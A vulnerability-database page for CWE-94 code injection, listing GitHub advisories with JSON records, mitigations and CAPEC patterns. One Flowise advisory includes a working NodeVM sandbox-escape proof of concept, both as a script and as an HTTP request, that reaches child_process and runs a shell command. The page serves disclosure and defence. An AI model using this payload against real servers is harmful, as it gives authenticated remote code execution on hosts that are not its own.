CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8358 vulnerabilities reference this CWE, most recent first.
GHSA-9RRH-V242-4W5J
Vulnerability from github – Published: 2022-05-01 23:55 – Updated: 2022-05-01 23:55PHP remote file inclusion vulnerability in admin/templates/template_thumbnail.php in HomePH Design 2.10 RC2, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the thumb_template parameter.
{
"affected": [],
"aliases": [
"CVE-2008-2981"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-07-02T17:14:00Z",
"severity": "MODERATE"
},
"details": "PHP remote file inclusion vulnerability in admin/templates/template_thumbnail.php in HomePH Design 2.10 RC2, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the thumb_template parameter.",
"id": "GHSA-9rrh-v242-4w5j",
"modified": "2022-05-01T23:55:26Z",
"published": "2022-05-01T23:55:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2981"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43256"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/5903"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-9RV9-QV4P-8CJW
Vulnerability from github – Published: 2022-01-27 00:01 – Updated: 2026-07-05 03:30jpress 4.2.0 is vulnerable to remote code execution via io.jpress.module.page.PageNotifyKit#doSendEmail. The admin panel provides a function through which attackers can edit the email templates and inject some malicious code.
{
"affected": [],
"aliases": [
"CVE-2021-46117"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-01-26T16:15:00Z",
"severity": "HIGH"
},
"details": "jpress 4.2.0 is vulnerable to remote code execution via io.jpress.module.page.PageNotifyKit#doSendEmail. The admin panel provides a function through which attackers can edit the email templates and inject some malicious code.",
"id": "GHSA-9rv9-qv4p-8cjw",
"modified": "2026-07-05T03:30:44Z",
"published": "2022-01-27T00:01:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46117"
},
{
"type": "WEB",
"url": "https://github.com/JPressProjects/jpress/issues/171"
},
{
"type": "WEB",
"url": "https://github.com/JPressProjects/jpress"
},
{
"type": "WEB",
"url": "http://jpress.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9RVC-VF7M-PGM2
Vulnerability from github – Published: 2026-05-14 14:57 – Updated: 2026-06-09 13:10Summary
POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node.
When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process.
The result is authenticated remote code execution on the Flowise server host. CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.9 Critical.
Details
Two distinct security boundaries are violated.
1. Missing route-level authorization
packages/server/src/routes/node-custom-functions/index.ts registers the endpoint with no permission middleware:
router.post('/', nodesRouter.executeCustomFunction)
Other sensitive routes in the same codebase use explicit permission gates:
// packages/server/src/routes/chatflows/index.ts
router.post(
'/',
checkAnyPermission('chatflows:create,chatflows:update,agentflows:create,agentflows:update'),
chatflowsController.saveChatflow
)
Global /api/v1 authentication still applies, so this is not unauthenticated — but any valid session or API key reaches the endpoint without further restriction.
2. NodeVM sandbox escape
The endpoint forwards body.javascriptFunction through the following chain:
POST /api/v1/node-custom-function
→ packages/server/src/controllers/nodes/index.ts
→ packages/server/src/utils/executeCustomNodeFunction.ts
→ packages/components/nodes/utilities/CustomFunction/CustomFunction.ts
executeJavaScriptCode(javascriptFunction, sandbox)
→ packages/components/src/utils.ts
if !process.env.E2B_APIKEY → NodeVM fallback
→ [SINK] host process / child_process
packages/components/src/utils.ts only uses the external E2B sandbox when E2B_APIKEY is set. Otherwise it silently falls back to @flowiseai/nodevm:
const shouldUseSandbox = useSandbox && process.env.E2B_APIKEY
Flowise explicitly frames this as a sandboxed execution path — the helper is named createCodeExecutionSandbox, its inline comment reads Execute JavaScript code using either Sandbox or NodeVM, and the NodeVM instance is configured with eval: false, wasm: false, and mocked HTTP clients. The sandbox is a real declared security boundary, not incidental isolation.
These controls do not prevent escape. The payload abuses an exception path where an Error object escapes the NodeVM boundary. Because the error originates from the host runtime, its constructor chain resolves to the outer Node.js realm. This allows recovery of the host Function constructor (e.constructor.constructor), which can then access process and built-in modules such as child_process:
const FunctionCtor = e.constructor.constructor;
const cp = FunctionCtor('return process.getBuiltinModule("child_process")')();
return cp.execSync('id').toString().trim();
The NodeVM fallback is the practical default. packages/server/.env.example and CONTRIBUTING.md do not require E2B_APIKEY for custom JS execution, so most deployments are affected.
PoC
Standalone verification (run from the repository root with E2B_APIKEY unset):
// poc_Flowise_NodeCustomFunction_RCE_2026.js
const path = require('path');
delete process.env.E2B_APIKEY;
process.env.TS_NODE_COMPILER_OPTIONS = JSON.stringify({ moduleResolution: 'NodeNext' });
require(path.resolve('targets/Flowise/node_modules/ts-node/register/transpile-only'));
const { nodeClass: CustomFunction } = require(path.resolve(
'targets/Flowise/packages/components/nodes/utilities/CustomFunction/CustomFunction.ts'
));
const attackCode = `
async function f() {
const error = new Error();
error.name = Object.create(null);
return error.stack;
}
return await f().catch(e => {
const FunctionCtor = e.constructor.constructor;
const cp = FunctionCtor('return process.getBuiltinModule("child_process")')();
return cp.execSync('id').toString().trim();
});
`;
(async () => {
const node = new CustomFunction();
const result = await node.init(
{ inputs: { javascriptFunction: attackCode } },
'',
{ appDataSource: {}, databaseEntities: {}, workspaceId: undefined, orgId: undefined }
);
console.log('[RCE OUTPUT]', result);
})();
Confirmed output:
[RCE OUTPUT] uid=501(researcher) gid=20(staff) groups=20(staff),...
HTTP trigger (requires a valid API key or session):
POST /api/v1/node-custom-function HTTP/1.1
Host: target:3000
Authorization: Bearer <valid-api-key>
Content-Type: application/json
{
"javascriptFunction": "async function f(){const error=new Error();error.name=Object.create(null);return error.stack;} return await f().catch(e=>{const F=e.constructor.constructor;const cp=F('return process.getBuiltinModule(\"child_process\")')();return cp.execSync('id').toString().trim();});"
}
Impact
Any authenticated Flowise user or holder of a standard API key can execute arbitrary commands as the Flowise server process. This includes reading environment variables and secrets, arbitrary filesystem access, outbound network requests from the host, and a foothold for persistence or lateral movement.
The NodeVM fallback is the default for any deployment without E2B_APIKEY configured, which covers the majority of self-hosted instances.
Recommended remediation:
1. Add explicit permission gating to POST /api/v1/node-custom-function using the existing checkPermission middleware pattern.
2. Fail closed if E2B_APIKEY is absent — do not silently downgrade to NodeVM for untrusted code execution.
3. Restrict this endpoint from generic API key access.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.1"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46442"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T14:57:53Z",
"nvd_published_at": "2026-06-08T16:16:41Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\n`POST /api/v1/node-custom-function` lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the `Custom JS Function` node.\n\nWhen `E2B_APIKEY` is not configured \u2014 the common deployment case \u2014 Flowise executes this code inside a `NodeVM` sandbox. This sandbox can be escaped, allowing an attacker to reach the host `process` object and execute system commands via `child_process`.\n\nThe result is authenticated remote code execution on the Flowise server host. CVSS v3.1: `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` = **9.9 Critical**.\n\n### Details\n\nTwo distinct security boundaries are violated.\n\n**1. Missing route-level authorization**\n\n`packages/server/src/routes/node-custom-functions/index.ts` registers the endpoint with no permission middleware:\n\n```ts\nrouter.post(\u0027/\u0027, nodesRouter.executeCustomFunction)\n```\n\nOther sensitive routes in the same codebase use explicit permission gates:\n\n```ts\n// packages/server/src/routes/chatflows/index.ts\nrouter.post(\n \u0027/\u0027,\n checkAnyPermission(\u0027chatflows:create,chatflows:update,agentflows:create,agentflows:update\u0027),\n chatflowsController.saveChatflow\n)\n```\n\nGlobal `/api/v1` authentication still applies, so this is not unauthenticated \u2014 but any valid session or API key reaches the endpoint without further restriction.\n\n**2. NodeVM sandbox escape**\n\nThe endpoint forwards `body.javascriptFunction` through the following chain:\n\n```\nPOST /api/v1/node-custom-function\n \u2192 packages/server/src/controllers/nodes/index.ts\n \u2192 packages/server/src/utils/executeCustomNodeFunction.ts\n \u2192 packages/components/nodes/utilities/CustomFunction/CustomFunction.ts\n executeJavaScriptCode(javascriptFunction, sandbox)\n \u2192 packages/components/src/utils.ts\n if !process.env.E2B_APIKEY \u2192 NodeVM fallback\n \u2192 [SINK] host process / child_process\n```\n\n`packages/components/src/utils.ts` only uses the external E2B sandbox when `E2B_APIKEY` is set. Otherwise it silently falls back to `@flowiseai/nodevm`:\n\n```ts\nconst shouldUseSandbox = useSandbox \u0026\u0026 process.env.E2B_APIKEY\n```\n\nFlowise explicitly frames this as a sandboxed execution path \u2014 the helper is named `createCodeExecutionSandbox`, its inline comment reads `Execute JavaScript code using either Sandbox or NodeVM`, and the NodeVM instance is configured with `eval: false`, `wasm: false`, and mocked HTTP clients. The sandbox is a real declared security boundary, not incidental isolation.\n\nThese controls do not prevent escape. The payload abuses an exception path where an `Error` object escapes the NodeVM boundary. Because the error originates from the host runtime, its constructor chain resolves to the outer Node.js realm. This allows recovery of the host `Function` constructor (`e.constructor.constructor`), which can then access `process` and built-in modules such as `child_process`:\n\n```js\nconst FunctionCtor = e.constructor.constructor;\nconst cp = FunctionCtor(\u0027return process.getBuiltinModule(\"child_process\")\u0027)();\nreturn cp.execSync(\u0027id\u0027).toString().trim();\n```\n\nThe NodeVM fallback is the practical default. `packages/server/.env.example` and `CONTRIBUTING.md` do not require `E2B_APIKEY` for custom JS execution, so most deployments are affected.\n\n### PoC\n\n**Standalone verification** (run from the repository root with `E2B_APIKEY` unset):\n\n```js\n// poc_Flowise_NodeCustomFunction_RCE_2026.js\nconst path = require(\u0027path\u0027);\n\ndelete process.env.E2B_APIKEY;\nprocess.env.TS_NODE_COMPILER_OPTIONS = JSON.stringify({ moduleResolution: \u0027NodeNext\u0027 });\n\nrequire(path.resolve(\u0027targets/Flowise/node_modules/ts-node/register/transpile-only\u0027));\n\nconst { nodeClass: CustomFunction } = require(path.resolve(\n \u0027targets/Flowise/packages/components/nodes/utilities/CustomFunction/CustomFunction.ts\u0027\n));\n\nconst attackCode = `\nasync function f() {\n const error = new Error();\n error.name = Object.create(null);\n return error.stack;\n}\nreturn await f().catch(e =\u003e {\n const FunctionCtor = e.constructor.constructor;\n const cp = FunctionCtor(\u0027return process.getBuiltinModule(\"child_process\")\u0027)();\n return cp.execSync(\u0027id\u0027).toString().trim();\n});\n`;\n\n(async () =\u003e {\n const node = new CustomFunction();\n const result = await node.init(\n { inputs: { javascriptFunction: attackCode } },\n \u0027\u0027,\n { appDataSource: {}, databaseEntities: {}, workspaceId: undefined, orgId: undefined }\n );\n console.log(\u0027[RCE OUTPUT]\u0027, result);\n})();\n```\n\nConfirmed output:\n\n```\n[RCE OUTPUT] uid=501(researcher) gid=20(staff) groups=20(staff),...\n```\n\n**HTTP trigger** (requires a valid API key or session):\n\n```http\nPOST /api/v1/node-custom-function HTTP/1.1\nHost: target:3000\nAuthorization: Bearer \u003cvalid-api-key\u003e\nContent-Type: application/json\n\n{\n \"javascriptFunction\": \"async function f(){const error=new Error();error.name=Object.create(null);return error.stack;} return await f().catch(e=\u003e{const F=e.constructor.constructor;const cp=F(\u0027return process.getBuiltinModule(\\\"child_process\\\")\u0027)();return cp.execSync(\u0027id\u0027).toString().trim();});\"\n}\n```\n\n### Impact\n\nAny authenticated Flowise user or holder of a standard API key can execute arbitrary commands as the Flowise server process. This includes reading environment variables and secrets, arbitrary filesystem access, outbound network requests from the host, and a foothold for persistence or lateral movement.\n\nThe NodeVM fallback is the default for any deployment without `E2B_APIKEY` configured, which covers the majority of self-hosted instances.\n\n**Recommended remediation:**\n1. Add explicit permission gating to `POST /api/v1/node-custom-function` using the existing `checkPermission` middleware pattern.\n2. Fail closed if `E2B_APIKEY` is absent \u2014 do not silently downgrade to NodeVM for untrusted code execution.\n3. Restrict this endpoint from generic API key access.",
"id": "GHSA-9rvc-vf7m-pgm2",
"modified": "2026-06-09T13:10:17Z",
"published": "2026-05-14T14:57:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9rvc-vf7m-pgm2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46442"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "FlowiseAI: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape"
}
GHSA-9RW2-JF8X-CGWM
Vulnerability from github – Published: 2024-10-17 18:31 – Updated: 2025-05-02 14:40A vulnerability, which was classified as critical, was found in flairNLP flair 0.14.0. Affected is the function ClusteringModel of the file flair\models\clustering.py of the component Mode File Loader. The manipulation leads to code injection. It is possible to launch the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "flair"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.15.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-10073"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-24T16:45:49Z",
"nvd_published_at": "2024-10-17T17:15:11Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as critical, was found in flairNLP flair 0.14.0. Affected is the function ClusteringModel of the file flair\\models\\clustering.py of the component Mode File Loader. The manipulation leads to code injection. It is possible to launch the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-9rw2-jf8x-cgwm",
"modified": "2025-05-02T14:40:27Z",
"published": "2024-10-17T18:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10073"
},
{
"type": "WEB",
"url": "https://github.com/flairNLP/flair/commit/fb27c7eb1d92855c27db820a108b17883a5d6fc1"
},
{
"type": "WEB",
"url": "https://github.com/bayuncao/vul-cve-20"
},
{
"type": "WEB",
"url": "https://github.com/bayuncao/vul-cve-20/blob/main/PoC.py"
},
{
"type": "PACKAGE",
"url": "https://github.com/flairNLP/flair"
},
{
"type": "WEB",
"url": "https://github.com/flairNLP/flair/releases/tag/v0.15.0"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.280722"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.280722"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.420055"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Flair allows arbitrary code execution"
}
GHSA-9RX6-4W3C-8329
Vulnerability from github – Published: 2022-05-14 01:59 – Updated: 2022-05-14 01:59SeaCMS 6.61 allows remote attackers to execute arbitrary code because parseIf() in include/main.class.php does not block use of $GLOBALS.
{
"affected": [],
"aliases": [
"CVE-2018-16343"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-09-02T18:29:00Z",
"severity": "HIGH"
},
"details": "SeaCMS 6.61 allows remote attackers to execute arbitrary code because parseIf() in include/main.class.php does not block use of $GLOBALS.",
"id": "GHSA-9rx6-4w3c-8329",
"modified": "2022-05-14T01:59:48Z",
"published": "2022-05-14T01:59:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16343"
},
{
"type": "WEB",
"url": "https://github.com/cumtxujiabin/CmsPoc/blob/master/Seacms_v6.61_backend_RCE.md"
},
{
"type": "WEB",
"url": "http://zhinianyuxin.postach.io/post/seacms-v6-61-latest-version-backend-rce"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9RXJ-9W27-4HC3
Vulnerability from github – Published: 2022-05-01 18:37 – Updated: 2022-05-01 18:37PHP remote file inclusion vulnerability in admin/index.php in nuBoard 0.5 allows remote attackers to execute arbitrary PHP code via a URL in the site parameter.
{
"affected": [],
"aliases": [
"CVE-2007-5841"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-11-06T21:46:00Z",
"severity": "MODERATE"
},
"details": "PHP remote file inclusion vulnerability in admin/index.php in nuBoard 0.5 allows remote attackers to execute arbitrary PHP code via a URL in the site parameter.",
"id": "GHSA-9rxj-9w27-4hc3",
"modified": "2022-05-01T18:37:11Z",
"published": "2022-05-01T18:37:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-5841"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/38253"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/4606"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/26322"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2007/3753"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-9V2F-6VCG-3HGV
Vulnerability from github – Published: 2024-07-01 21:31 – Updated: 2026-06-05 17:54Withdrawn Advisory
This advisory has been withdrawn because the it only affects a user who runs specifically crafted code that happens to use gradio library. More information can be found here.
Original Description
Gradio v4.36.1 was discovered to contain a code injection vulnerability via the component /gradio/component_meta.py. This vulnerability is triggered via a crafted input.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Gradio"
},
"versions": [
"4.36.1"
]
}
],
"aliases": [
"CVE-2024-39236"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-01T22:13:35Z",
"nvd_published_at": "2024-07-01T19:15:05Z",
"severity": "CRITICAL"
},
"details": "### Withdrawn Advisory\nThis advisory has been withdrawn because the it only affects a user who runs specifically crafted code that happens to use gradio library. More information can be found [here](https://github.com/gradio-app/gradio/issues/8853).\n\n### Original Description\nGradio v4.36.1 was discovered to contain a code injection vulnerability via the component /gradio/component_meta.py. This vulnerability is triggered via a crafted input.",
"id": "GHSA-9v2f-6vcg-3hgv",
"modified": "2026-06-05T17:54:30Z",
"published": "2024-07-01T21:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39236"
},
{
"type": "WEB",
"url": "https://github.com/gradio-app/gradio/issues/8853"
},
{
"type": "WEB",
"url": "https://github.com/gradio-app/gradio/issues/8853#issuecomment-2239858984"
},
{
"type": "WEB",
"url": "https://github.com/Aaron911/PoC/blob/main/Gradio.md"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-9v2f-6vcg-3hgv"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gradio/PYSEC-2024-274.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Withdrawn Advisory: Gradio was discovered to contain a code injection vulnerability via the component /gradio/component_meta.py",
"withdrawn": "2025-10-17T20:26:00Z"
}
GHSA-9V54-C9J8-FW7M
Vulnerability from github – Published: 2022-05-01 07:13 – Updated: 2022-05-01 07:13Unspecified vulnerability in mso.dll in Microsoft Office 2000, XP, and 2003, and Microsoft PowerPoint 2000, XP, and 2003, allows remote user-assisted attackers to execute arbitrary code via a malformed record in a (1) .DOC, (2) .PPT, or (3) .XLS file that triggers memory corruption, related to an "array boundary condition" (possibly an array index overflow), a different vulnerability than CVE-2006-3434, CVE-2006-3650, and CVE-2006-3868.
{
"affected": [],
"aliases": [
"CVE-2006-3864"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-10-10T22:07:00Z",
"severity": "HIGH"
},
"details": "Unspecified vulnerability in mso.dll in Microsoft Office 2000, XP, and 2003, and Microsoft PowerPoint 2000, XP, and 2003, allows remote user-assisted attackers to execute arbitrary code via a malformed record in a (1) .DOC, (2) .PPT, or (3) .XLS file that triggers memory corruption, related to an \"array boundary condition\" (possibly an array index overflow), a different vulnerability than CVE-2006-3434, CVE-2006-3650, and CVE-2006-3868.",
"id": "GHSA-9v54-c9j8-fw7m",
"modified": "2022-05-01T07:13:16Z",
"published": "2022-05-01T07:13:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-3864"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2006/ms06-062"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A632"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/22339"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1017034"
},
{
"type": "WEB",
"url": "http://secway.org/advisory/AD20061010.txt"
},
{
"type": "WEB",
"url": "http://support.microsoft.com/kb/922581"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/176556"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/29429"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/448268/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/449179/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/20384"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/3981"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-9VC3-GG5P-544W
Vulnerability from github – Published: 2021-12-16 00:01 – Updated: 2022-07-13 00:01Microsoft 4K Wireless Display Adapter Remote Code Execution Vulnerability
{
"affected": [],
"aliases": [
"CVE-2021-43899"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-15T15:15:00Z",
"severity": "CRITICAL"
},
"details": "Microsoft 4K Wireless Display Adapter Remote Code Execution Vulnerability",
"id": "GHSA-9vc3-gg5p-544w",
"modified": "2022-07-13T00:01:49Z",
"published": "2021-12-16T00:01:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43899"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-43899"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9VCJ-5H28-PHHQ
Vulnerability from github – Published: 2024-10-30 03:30 – Updated: 2024-10-30 03:30The The Enable Shortcodes inside Widgets,Comments and Experts plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 1.0.0. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.
{
"affected": [],
"aliases": [
"CVE-2024-9846"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-30T03:15:04Z",
"severity": "HIGH"
},
"details": "The The Enable Shortcodes inside Widgets,Comments and Experts plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 1.0.0. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.",
"id": "GHSA-9vcj-5h28-phhq",
"modified": "2024-10-30T03:30:30Z",
"published": "2024-10-30T03:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9846"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/enable-shortcodes-inside-widgetscomments-and-experts/trunk/enable-shortcodes-inside-widgets-comments-experts.php#L19"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/enable-shortcodes-inside-widgetscomments-and-experts/#developers"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f1ac2544-f96b-4859-96de-795753a94264?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.